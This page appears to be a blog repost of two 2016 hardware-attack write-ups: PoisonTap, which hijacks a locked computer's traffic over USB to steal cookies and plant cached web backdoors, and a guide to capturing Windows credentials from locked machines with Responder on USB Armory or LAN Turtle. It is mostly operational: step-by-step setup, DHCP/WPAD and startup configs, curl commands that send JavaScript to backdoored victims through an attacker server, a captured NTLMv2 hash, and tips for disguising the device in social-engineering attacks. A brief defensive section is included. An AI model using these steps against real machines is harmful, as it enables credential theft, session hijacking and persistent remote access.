DIPL. ING.

IVAN SCHMIDT

FOR YOUR SUCCESS

PoisonTap exploiting locked computers over USB and Snagging creds from locked machines

, Category: RISK     Twitter Facebook Linkedin Google+  

I LOVE IT
23%
I LIKE IT
50%
I CAN IT
13%
I HAVE IT
3%
I NEED IT
10%

Original language of the article is EN.
Another language versions of the article are automatic translated by the server without correction:
DE   SK  

PoisonTap exploiting locked computers over USB and Snagging creds from locked machines

PoisonTap - siphons cookies, exposes internal router & installs web backdoor on locked computers. When PoisonTap (Raspberry Pi Zero & Node.js) is plugged into a locked/password protected computer, it:

emulates an Ethernet device over USB (or Thunderbolt)
hijacks all Internet traffic from the machine (despite being a low priority/unknown network interface)
siphons and stores HTTP cookies and sessions from the web browser for the Alexa top 1,000,000 websites
exposes the internal router to the attacker, making it accessible remotely via outbound WebSocket and DNS rebinding (thanks Matt Austin for rebinding idea!)
installs a persistent web-based backdoor in HTTP cache for hundreds of thousands of domains and common Javascript CDN URLs, all with access to the user’s cookies via cache poisoning
allows attacker to remotely force the user to make HTTP requests and proxy back responses (GET & POSTs) with the user’s cookies on any backdoored domain
does not require the machine to be unlocked
backdoors and remote access persist even after device is removed and attacker sashays away

Live demonstration and more details available in the video:


PoisonTap evades the following security mechanisms:



PoisonTap


PoisonTap is built for the $5 Raspberry Pi Zero without any additional components other than a micro-USB cable & microSD card, but can work on other devices that can emulate USB gadgets such as USB Armory and LAN Turtle.

How PoisonTap Works


PoisonTap produces a cascading effect by exploiting the existing trust in various mechanisms of a machine and network, including USB/Thunderbolt, DHCP, DNS, and HTTP, to produce a snowball effect of information exfiltration, network access and installation of semi-permanent backdoors.

PoisonTap Network

Network Hijacking


Attacker plugs PoisonTap (such as weaponized Raspberry Pi Zero) into a locked computer (even if computer is password protected)
PoisonTap emulates an Ethernet device (eg, Ethernet over USB/Thunderbolt) – by default, Windows, OS X and Linux recognize an ethernet device, automatically loading it as a low-priority network device and performing a DHCP request across it, even when the machine is locked or password protected.
PoisonTap responds to the DHCP request and provides the machine with an IP address, however the DHCP response is crafted to tell the machine that the entire IPv4 space (0.0.0.0 - 255.255.255.255) is part of the PoisonTap’s local network, rather than a small subnet (eg 192.168.0.0 - 192.168.0.255)
Normally it would be irrelevant if a secondary network device connects to a machine as it will be given lower priority than the existing (trusted) network device and won’t supersede the gateway for Internet traffic, but…
Any routing table / gateway priority / network interface service order security is bypassed due to the priority of “LAN traffic” over “Internet traffic”
PoisonTap exploits this network access, even as a low priority network device, because the subnet of a low priority network device is given higher priority than the gateway (default route) of the highest priority network device.
This means if traffic is destined to 1.2.3.4, while normally this traffic would hit the default route/gateway of the primary (non-PoisonTap) network device, PoisonTap actually gets the traffic because the PoisonTap “local” network/subnet supposedly contains 1.2.3.4, and every other IP address in existence ;)
Because of this, all Internet traffic goes over PoisonTap, even though the machine is connected to another network device with higher priority and proper gateway (the true wifi, ethernet, etc.)

PoisonTap Cookies

Cookie Siphoning


As long as a web browser is running the background, it is likely one of the open pages will perform an HTTP request in the background (for example to load a new ad, send data to an analytics platform, or simply continue to track your web movements) via AJAX or dynamic script/iframe tags
You can see this for yourself, go into your devtools/inspector (typically Cmd+Shift+I or Ctrl+Shift+I), go to a heavily visited website, click on the Network tab, and watch as remote resources continue to be accessed even as you take no action on the page

Upon this HTTP request, because all traffic exits onto the PoisonTap device, PoisonTap DNS spoofs on the fly to return its own address, causing the HTTP request to hit the PoisonTap web server (Node.js)
If the DNS server is pointing to an internal IP (LAN) that PoisonTap cannot get privilege for, the attack continues to function as the internal DNS server will produce public IP addresses for the various domains attacked, and it is the public IP addresses that PoisonTap has already hijacked
Once the internal DNS server responds, the web browser hits the public IP, ultimately hitting the PoisonTap web server (Node.js) in either scenario

When the Node web server receives the request, PoisonTap responds with a response that can be interpreted as HTML or as Javascript, both of which execute properly (many websites will load HTML or JS in background requests)

The HTML/JS-agnostic page then produces many hidden iframes, each iframe across a different Alexa-top-1-million domain
Any “X-Frame-Options” security on the domain is bypassed as PoisonTap is now the HTTP server and chooses which headers to send to the client
As every iframe HTTP request to a site is made (eg, http://nfl.com/PoisonTap), the HTTP cookies are sent from the browser to the “public IP” hijacked by PoisonTap, which swiftly logs the cookies/authentication information, logging tens of thousands of the user’s cookies into PoisonTap
Any “HttpOnly” cookie security is bypassed and those cookies are captured as no Javascript is executed on the domain itself, but rather only used to load the iframe in the first place
Any Cross-Origin Resource Sharing or Same-Origin Policy security is bypassed as the domain being accessed appears legitimate to the browser
Because we’re capturing cookies rather than credentials, any 2FA/MFA implemented on the site is bypassed when the attacker uses the cookie to login. This is because we’re not actually performing the login function but rather continuing an already logged-in session which does not trigger two-factor authentication
If a server is using HTTPS, but the cookies do not explicitly set the Secure cookie flag, the HTTPS protection is bypassed and the cookie is sent to PoisonTap

PoisonTap Router

Remotely Accessible Web-Based Backdoors


While PoisonTap was producing thousands of iframes, forcing the browser to load each one, these iframes are not just blank pages at all, but rather HTML+Javascript backdoors that are cached indefinitely

Because PoisonTap force-caches these backdoors on each domain, the backdoor is tied to that domain, enabling the attacker to use the domain’s cookies and launch same-origin requests in the future, even if the user is currently not logged in
For example, when the http://nfl.com/PoisonTap iframe is loaded, PoisonTap accepts the diverted Internet traffic, responds to the HTTP request via the Node web server
Additional HTTP headers are added to cache the page indefinitely

The actual response of the page is a combination of HTML and Javascript that produces a persistent WebSocket out to the attacker’s web server (over the Internet, not on the PoisonTap device)
The WebSocket remains open allowing the attacker to, at any point in the future, connect back to the backdoored machine and perform requests across any origin that has the backdoor implemented (the Alexa top 1,000,000 sites – see below)
If the backdoor is opened on one site (e.g., nfl.com), but the user wishes to attack a different domain (e.g., pinterest.com), the attacker can load an iframe on nfl.com to the pinterest.com backdoor (http://pinterest.com/PoisonTap)
Again, any “X-Frame-Options”, Cross-Origin Resource Sharing, and Same-Origin Policy security on the domain is entirely bypassed as the request will hit the cache that PoisonTap left rather than the true domain

PoisonTap Straightened

Internal Router Backdoor & Remote Access


The one network PoisonTap is not able to hijack is the actual LAN subnet of the true network interface (for example, if the user’s wifi subnet is 192.168.0.x, this network is unaffected), but…

PoisonTap force-caches a backdoor on a special host, specifically the target router’s IP prepended to “.ip.samy.pl”, e.g. 192.168.0.1.ip.samy.pl, essentially producing a persistent DNS rebinding attack

When using PoisonTap as the DNS server (victim using public DNS server), PoisonTap responds with the specialized PoisonTap IP temporarily (1.0.0.1), meaning any requests at that moment will hit the PoisonTap web server
If instead the DNS server is set to the internal network (e.g., 192.168.0.x), an additional specially crafted request is made to 1.0.0.1.pin.ip.samy.pl which tells my specialized DNS server (on the public Internet) to temporarily respond to any [ip.address].ip.samy.pl address with the “pinned” address (1.0.0.1) for several seconds
PoisonTap then quickly sets a backdoor on http://192.168.0.1.ip.samy.pl/PoisonTap, which for the moment points to the PoisonTap device at 1.0.0.1, allowing the backdoor to be accessed and cached from the PoisonTap device

DNS pinning and DNS rebinding security are bypassed due to exhausting the DNS pinning table, due to the hundreds of thousands of requests just previously made, and no rebinding needs to occur in the future, making this attack persistent over long periods of time (thanks to Matt Austin for sharing this attack with me!)

Now that a backdoor is force-cached to http://192.168.0.1.ip.samy.pl/PoisonTap, any future requests to the 192.168.0.1.ip.samy.pl will hit the unpinned IP address, causing 192.168.0.1 to resolve instead, pointing directly to the router

This means if loading the 192.168.0.1.ip.samy.pl/PoisonTap host in an iframe remotely over the backdoor, you can now perform AJAX GET/POSTs to any other page on the internal router, entirely remotely, thus allowing remote access to the internal router
This can lead to other attacks on the router which the attacker may have never had access to in the first place, such as default admin credentials on the router being used to overwrite DNS servers, or other authentication vulnerabilities being exposed

PoisonTap Pin

Recap of the DNS server:


[ip.addy].ip.samy.pl normally responds with [ip.addy]

192.168.0.1.ip.samy.pl 192.168.0.1 (A record)

[ip.addy].pin.ip.samy.pl temporarily (~5 seconds) points *.ip.samy.pl to [ip.addy]
1.0.0.1.pin.ip.samy.pl 1.0.0.1
192.168.0.1.ip.samy.pl 1.0.0.1 (A record, short TTL)
(after ~5 seconds)
192.168.0.1.ip.samy.pl 192.168.0.1 (A record)


Additional Remotely Accessible Web-Based Backdoors


Additionally, PoisonTap replaces thousands of common, CDN-based Javascript files, e.g. Google and jQuery CDNs, with the correct code plus a backdoor that gives the attacker access to any domain loading the infected CDN-based Javascript file

Because a backdoor is left on each domain, this allows the attacker to remotely force the backdoored browser to perform same-origin requests (AJAX GET/POSTs) on virtually any major domain, even if the victim does not currently have any open windows to that domain

The backdoor will now live on any additional site that also uses one of these infected, HTTP-based, CDN Javascript frameworks when the victim visits the site


Securing Against PoisonTap



Server-Side Security


If you are running a web server, securing against PoisonTap is simple:
Use HTTPS exclusively, at the very least for authentication and authenticated content
Honestly, you should use HTTPS exclusively and always redirect HTTP content to HTTPS, preventing a user being tricked into providing credentials or other PII over HTTP
Ensure Secure flag is enabled on cookies, preventing HTTPS cookies from leaking over HTTP
When loading remote Javascript resources, use the Subresource Integrity script tag attribute
Use HSTS to prevent HTTPS downgrade attacks

Desktop Security


Adding cement to your USB and Thunderbolt ports can be effective
Closing your browser every time you walk away from your machine can work, but is entirely impractical
Disabling USB/Thunderbolt ports is also effective, though also impractical
Locking your computer has no effect as the network and USB stacks operate while the machine is locked, however, going into an encrypted sleep mode where a key is required to decrypt memory (e.g., FileVault2 + deep sleep) solves most of the issues as your browser will no longer make requests, even if woken up


Download Source code: https://github.com/samyk/poisontap

File Breakdown


There are a number of files in the repo, which are used on different sides. The list:

backdoor.html - Whenever a http://hostname/PoisonTap URL is hit to exfiltrate cookies, this file is what is returned as the force-cached content. It contains a backdoor that produces an outbound websocket to samy.pl:1337 (adjustable to any host/port) that remains opens waiting for commands from the server. This means when you load an iframe on a site, such as http://hostname/PoisonTap, this is the content that gets populated (even after PoisonTap is removed from the machine).

backend_server.js - This is the Node.js server that you run on your Internet-accessible server. It is what the backdoor.html connects to (eg, samy.pl:1337). This is the same server you connect to to send commands to your PoisonTapped minion machines, eg


# pop alert to victim
curl 'http://samy.pl:1337/exec?alert("muahahahaha")'
# to set a cookie on victim
curl 'http://samy.pl:1337/exec?document.cookie="key=value"'
# to force victim to load a url via ajax (note, jQuery is stored inside the backdoor)
curl 'http://samy.pl:1337/exec?$.get("http://192.168.0.1.ip.samy.pl/login",function(d){console.log(d)})'


pi_poisontap.js - This runs via Node.js on the Raspberry Pi Zero and is the HTTP server responsible for handling any HTTP requests intercepted by PoisonTap, storing siphoned cookies, and injecting the cached backdoors.

pi_startup.sh - This runs upon startup on the Raspberry Pi Zero in order to set the device up to emulate an Ethernet-over-USB gadget, set up our evil DHCP server, allow traffic rerouting, DNS spoofing, and to launch pi_poisontap.js above.

target_backdoor.js - This file is prepended to any CDN-related Javascript files, thus backdooring them, e.g. Google CDN’s jQuery URL.

target_injected_xhtmljs.html - This is the code that gets injected into unintentional/background HTTP/AJAX requests on the victim’s machine and spawns the entire attack. It is constructed in a way that it can be interpreted as HTML or as Javascript and still execute the same code. Additionally, the amazing HTML5 canvas is by the incredible Ara on CodePen and was too amazing not to include. This is the graphical craziness that appears when the page gets taken over by PoisonTap.

poisontap.cookies.log - This file is generated once the user’s machine starts sending HTTP requests to PoisonTap and logs the cookie from the browser along with the associated URL/domain it belongs to.



In addition


In addition to Samy's Poison Tap, the similar project: If I plug in a device that masquerades as a USB Ethernet adapter and has a computer on the other end, can I capture credentials from a system, even when locked out (yes, logged in, just locked). (..or do even more, but we’ll save that for another time, this post is already too long)

Snagging creds from locked machines


First off, this is dead simple and shouldn’t work, but it does. Also, there is no possible way that I’m the first one that has identified this, but here it is (trust me, I tested it so many ways to confirm it because I couldn’t believe it was true)

TL;DR USB Ethernet + DHCP + Responder == Creds

Thesis:


If I plug in a device that masquerades as a USB Ethernet adapter and has a computer on the other end, can I capture credentials from a system, even when locked out (yes, logged in, just locked). (..or do even more, but we’ll save that for another time, this post is already too long)

Device Setup
I started off with a USB Armory ($155) but below I’ll show you how to do this with a Hak5 Turtle ($49.99) as well.

I’ll leave the setting up of the base device itself to you, but here are some links that can start you on your way:

USB Armory
Debian/Jessie - https://github.com/inversepath/usbarmory/wiki/Starting#preparing-your-own-microsd-card
Kali on USB Armory - http://docs.kali.org/kali-on-arm/kali-linux-on-usb-armory
Resizing the SD partition - http://base16.io/?p=61

Hak5 Turtle
Turtle video guides and wiki: https://lanturtle.com/wiki/#!videos.md

Tools


Basically the capturing is done with Laurent Gaffié’s Responder so you need to find a way to get Responder onto the device. The Hak5 Turtle already has a module for it:

You do have to “Enable” the module for the first time (plugged into Internet access) to get it to actually download all of dependencies and package itself.

Then you also need to do a opkg update and opkg install python-openssl so that Responder will run correctly. This is only a temporary issue as the module is being fixed to include this step.

As for the USB Armory is you can either use SCP, Internet Connection Sharing, the USB host/client adapter:

Hak5 USB Armory Host Adapter

The default install of Debian/Jessie doesn’t have Python installed so you will have to work through all of the dependencies (on the Kali version this is not needed) and will require Internet access to perform:


apt-get install -y python git python-pip python-dev screen sqlite3
pip install pycrypto
git clone https://github.com/spiderlabs/responder


Configuration


Armory


First, setting up the interface isn’t needed but it will help with consistence since each image for the Armory come with different default IP addresses and it’s good to set a solid base.

/etc/network/interfaces

# interfaces(5) file used by ifup(8) and ifdown(8)
# Include files from /etc/network/interfaces.d:
source-directory /etc/network/interfaces.d
auto usb0
allow-hotplug usb0
iface usb0 inet static
address 192.168.2.201
netmask 255.255.255.0
gateway 192.168.2.1

Next we set up the DHCP server:

/etc/dhcp/dhcpd.conf

ddns-update-style none;

option domain-name "domain.local";
option domain-name-servers 192.168.2.201;

default-lease-time 60;
max-lease-time 72;

# If this DHCP server is the official DHCP server for the local
# network, the authoritative directive should be uncommented.
authoritative;

# Use this to send dhcp log messages to a different log file (you also
# have to hack syslog.conf to complete the redirection).
log-facility local7;

# wpad
option local-proxy-config code 252 = text;

# A slightly different configuration for an internal subnet.
subnet 192.168.2.0 netmask 255.255.255.0 {
range 192.168.2.1 192.168.2.2;
option routers 192.168.2.201;
option local-proxy-config "http://192.168.2.201/wpad.dat";
}


The only special configuration here is to send the “Proxy Config” option to any DHCP clients. Why this is even a thing I have no idea, but note this line:

“DHCP has a higher priority than DNS: if DHCP provides the WPAD URL, no DNS lookup is performed.” from the Wikipedia article on WPAD

Next we set up things to automatically run. We edit the rc.local file so that it does a few things:

Clears out all DHCP leases and start the DHCP server. There is probably a more elegant way to do this, but because this “computer” is being plugged in and taken out pretty frequently, we could run into a max in leases but most likely the file will get corrupted at some point so we just remove and re-add it.

Start Responder in a screen session. This way we can get logging going on the screen session as a sort of backup for the Sqlite3 database and log files that Responder creates.

/etc/rc.local

#!/bin/sh -e

# Clear leases
rm -f /var/lib/dhcp/dhcpd.leases
touch /var/lib/dhcp/dhcpd.leases

# Start DHCP server
/usr/sbin/dhcpd

# Start Responder
/usr/bin/screen -dmS responder bash -c 'cd /root/responder/; python Responder.py -I usb0 -f -w -r -d -F'

exit 0

To enable logging of the screen sessions (which also gives you insight into if anything went wrong), you add a .screenrc file. There is a lot more that I put in these, mostly for aesthetics but the important pieces are these:

/root/.screenrc

# Logging
deflog on
logfile /root/logs/screenlog_$USER_.%H.%n.%Y%m%d-%0c:%s.%t.log

That’s it, you should be able to reboot your USB Armory and start picking up creds anywhere you can stick a USB in.


Hak5 Turtle


Everything is pretty much already done for you, the only difference is that opkg is your package manager:


opkg update
opkg install python-openssl screen

Remove the symlink to /tmp/ so that the logs will stick around

rm -rf /overlay/etc/turtle/Responder/logs

And the /overlay/etc/rc.local file is slightly different

/overlay/etc/rc.local

/etc/init.d/dnsmasq stop
/usr/sbin/screen -dmS responder bash -c 'cd /overlay/etc/turtle/Responder; python Responder.py -I br-lan -f -w -r -d -F'


Why does this work?


Because USB is Plug-and-Play. This means that even if a system is locked out, the device still gets installed. Now, I believe there are restrictions on what types of devices are allowed to install at a locked out state on newer operating systems (Win10/El Capitan), but Ethernet/LAN is definitely on the white list.
Computers are constantly creating traffic, even if you don’t have any browsers or applications open, and most computers trust their local network for some reason (I know the technical bits on ‘why’, just complaining…)
Network preference when there are more than gateway or network connection is based on “metrics” on Windows and a combination of metrics and “preference” on OSX, but by default “wired” and “newer/faster” always win out.

This means that by plugging in the device it quickly becomes the gateway, DNS server, WPAD server and others thanks to Responder.

The average time for freshly inserted into a locked workstation and by the time I have creds is about 13 seconds, all depends on the system. Some addition setup I used inotify to watch for a file change in the Responder.db database and shutdown the Armory. This helps finalize file writes as well and giving me an indicator via the LED that creds were obtained.

To do that you need to install the inotify-tools package and add the following to the rc.local file:


echo "Staring cred watch" >> /root/rc.log
/usr/bin/screen -dmS notify bash -c 'while inotifywait -e modify /root/responder/Responder.db; do shutdown -h now; done'


End Result:


What you see in the video is the Windows 10 lock screen (Full screened fresh install VM). When the LED goes solid white the Armory has fully shutdown because of the watch script, creds achieved!.

Bring it back home and look at the results:

root@wpad:~# sqlite3 /root/responder/Responder.db 'select * from responder'
2016-09-04 10:59:43|HTTP|NTLMv2|192.168.2.1||SITTINGDUCKmubix||5EAEA2859C397D8AE48CA87F:01010000000001E9D23F49F7891F38965D80A0010000000000000000000000000000000900260048005400540050002F007800780066006600730062006E0070006300000000000000....

Game over!

Tested on:
Windows 98 SE
Windows 2000 SP4
Windows XP SP3
Windows 7 SP1
Windows 10 (Enterprise and Home)
OSX El Capitan / Mavericks (I was able to get creds on both of these but I’m still testing to see if it was a fluke, or my own configurations)

USB Armory vs Hak5 LAN Turtle


The Armory is more versitile with APT package to do more fun, definitely a great way to dev the attack. More storage (SD based) and slightly faster processor

Hak5 LAN Turtle is MUCH easier to pass off when you are trying to plug in a device during an SE attack. It might not have the LED that the Armory does for determining when creds are achieved, but it has the added functionality of a working ethernet port, so you could get creds AND a shell. Definitely worth the extra hassel to get it working right.





Point of Contact: @SamyKamkar, https://twitter.com/samykamkar, https://samy.pl
Released: November 16, 2016
Source code and download: https://github.com/samyk/poisontap


Point of Contact: @room362 https://room362.com
Released: September 16, 2016